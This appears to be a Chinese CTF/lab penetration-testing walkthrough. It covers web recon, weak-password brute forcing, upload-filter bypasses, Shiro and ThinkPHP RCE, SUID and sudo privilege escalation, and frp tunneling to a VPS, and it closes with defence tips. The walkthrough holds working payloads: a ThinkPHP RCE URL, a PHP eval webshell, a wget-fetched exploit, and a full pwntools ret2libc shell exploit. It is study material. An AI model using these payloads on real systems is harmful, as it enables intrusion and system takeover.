记录一次坎坷的打靶经历
字数 1199 2025-08-11 08:36:04

渗透测试实战教学:从Web漏洞到内网渗透

1. 信息收集与初始访问

1.1 端口扫描与服务识别

使用nmap进行初始扫描:

nmap -sV -p- <target_ip>

关键点:

  • 识别开放端口(80, 8080等)
  • 确定服务版本信息
  • 优先从Web服务(80端口)开始测试

1.2 Web应用基础测试

  1. 页面源代码检查

    • 右键查看源代码
    • 搜索"flag"关键词
    • 检查注释和隐藏字段
  2. 目录扫描
    使用御剑等工具扫描常见路径:

    ./yujian -u http://<target_ip> -w common.txt
    

    重点关注:

    • /admin
    • /robots.txt
    • /backup

2. Web漏洞利用

2.1 弱口令攻击

  1. 常见测试组合:

    • admin/admin
    • admin/123456
    • root/root
  2. 自动化工具:

    hydra -l admin -P passlist.txt <target_ip> http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
    

2.2 文件上传漏洞

双写绕过技术

  1. 拦截上传请求(Burp Suite)
  2. 修改文件名:
    • shell.pphphp → 过滤后变为shell.php
  3. 其他绕过技术:
    • 大小写(.PhP)
    • 空字节(shell.php%00.jpg)
    • 特殊扩展名(.php5)

2.3 Shiro反序列化漏洞

识别特征:

  • Cookie中存在rememberMe字段
  • 使用工具检测:
    java -jar shiro-exploit.jar http://<target_ip>:8080
    

利用步骤:

  1. 生成payload
  2. 使用DNSLog验证
  3. 执行命令获取shell

3. 权限提升技术

3.1 SUID提权

查找具有SUID权限的可执行文件:

find / -perm -4000 -type f 2>/dev/null

利用find命令提权:

find . -exec /bin/sh -p \; -quit

3.2 Sudo提权(CVE-2021-3156)

检测受影响版本:

sudo --version | grep 1.8.31

利用步骤:

  1. 下载exp:
    wget https://example.com/exploit.c
    
  2. 编译并执行:
    gcc exploit.c -o exploit
    ./exploit
    

4. 内网渗透

4.1 内网主机发现

使用已获取的shell进行扫描:

nmap -sn 192.168.0.0/24

或使用内置命令:

for i in {1..254}; do ping -c 1 192.168.0.$i | grep "bytes from"; done

4.2 端口转发与代理

使用frp建立Socks5代理:

  1. 服务端配置(frps.ini):
    [common]
    bind_port = 7000
    
  2. 客户端配置(frpc.ini):
    [common]
    server_addr = <your_vps_ip>
    server_port = 7000
    
    [socks5]
    type = tcp
    remote_port = 1080
    plugin = socks5
    

4.3 ThinkPHP RCE漏洞利用

针对5.0.20版本的利用:

http://192.168.0.4/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell:

echo '<?php eval($_POST["cmd"]);?>' > shell.php

5. PWN缓冲区溢出实战

5.1 漏洞分析

检查保护机制:

checksec --file=main

IDA分析关键点:

  • 识别vuln函数
  • 确定缓冲区大小
  • 查找可利用函数(write, system等)

5.2 Ret2libc利用

利用步骤:

  1. 泄露函数地址(write)
  2. 计算libc基址
  3. 定位system和/bin/sh
  4. 构造payload

示例exp:

from pwn import *
from LibcSearcher import *

p = remote('xx.xx.xx.xx', 9999)
elf = ELF('./main')

write_plt = elf.plt['write']
write_got = elf.got['write']
ppp_ret = 0x08048559
offset = 40

# 第一阶段:泄露write地址
payload = b'A'*offset 
payload += p32(write_plt) + p32(ppp_ret) 
payload += p32(1) + p32(write_got) + p32(4)
p.sendlineafter('name:\n', payload)
write_addr = u32(p.recv(4))

# 第二阶段:获取shell
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = b'A'*offset 
payload += p32(system_addr) + p32(0xdeadbeef) 
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()

6. 总结与防御建议

攻击面总结

  1. Web层面:

    • 信息泄露
    • 弱口令
    • 文件上传漏洞
    • 框架漏洞(Shiro, ThinkPHP)
  2. 系统层面:

    • SUID配置不当
    • Sudo漏洞
    • 服务配置错误

防御建议

  1. 安全开发:

    • 输入验证与过滤
    • 使用预编译语句防SQL注入
    • 文件上传严格限制类型
  2. 系统加固:

    • 最小权限原则
    • 定期更新补丁
    • 禁用不必要的SUID权限
  3. 网络防护:

    • 网络隔离
    • 入侵检测系统
    • 日志监控与分析

通过本案例可以学习到完整的渗透测试流程,从外网突破到内网横向移动,最终获取系统最高权限。每个环节都需要结合多种技术手段,并不断尝试和验证。

渗透测试实战教学:从Web漏洞到内网渗透 1. 信息收集与初始访问 1.1 端口扫描与服务识别 使用nmap进行初始扫描: 关键点: 识别开放端口(80, 8080等) 确定服务版本信息 优先从Web服务(80端口)开始测试 1.2 Web应用基础测试 页面源代码检查 : 右键查看源代码 搜索"flag"关键词 检查注释和隐藏字段 目录扫描 : 使用御剑等工具扫描常见路径: 重点关注: /admin /robots.txt /backup 2. Web漏洞利用 2.1 弱口令攻击 常见测试组合: admin/admin admin/123456 root/root 自动化工具: 2.2 文件上传漏洞 双写绕过技术 : 拦截上传请求(Burp Suite) 修改文件名: shell.pphphp → 过滤后变为shell.php 其他绕过技术: 大小写(.PhP) 空字节(shell.php%00.jpg) 特殊扩展名(.php5) 2.3 Shiro反序列化漏洞 识别特征: Cookie中存在rememberMe字段 使用工具检测: 利用步骤: 生成payload 使用DNSLog验证 执行命令获取shell 3. 权限提升技术 3.1 SUID提权 查找具有SUID权限的可执行文件: 利用find命令提权: 3.2 Sudo提权(CVE-2021-3156) 检测受影响版本: 利用步骤: 下载exp: 编译并执行: 4. 内网渗透 4.1 内网主机发现 使用已获取的shell进行扫描: 或使用内置命令: 4.2 端口转发与代理 使用frp建立Socks5代理: 服务端配置(frps.ini): 客户端配置(frpc.ini): 4.3 ThinkPHP RCE漏洞利用 针对5.0.20版本的利用: 写入webshell: 5. PWN缓冲区溢出实战 5.1 漏洞分析 检查保护机制: IDA分析关键点: 识别vuln函数 确定缓冲区大小 查找可利用函数(write, system等) 5.2 Ret2libc利用 利用步骤: 泄露函数地址(write) 计算libc基址 定位system和/bin/sh 构造payload 示例exp: 6. 总结与防御建议 攻击面总结 Web层面: 信息泄露 弱口令 文件上传漏洞 框架漏洞(Shiro, ThinkPHP) 系统层面: SUID配置不当 Sudo漏洞 服务配置错误 防御建议 安全开发: 输入验证与过滤 使用预编译语句防SQL注入 文件上传严格限制类型 系统加固: 最小权限原则 定期更新补丁 禁用不必要的SUID权限 网络防护: 网络隔离 入侵检测系统 日志监控与分析 通过本案例可以学习到完整的渗透测试流程,从外网突破到内网横向移动,最终获取系统最高权限。每个环节都需要结合多种技术手段,并不断尝试和验证。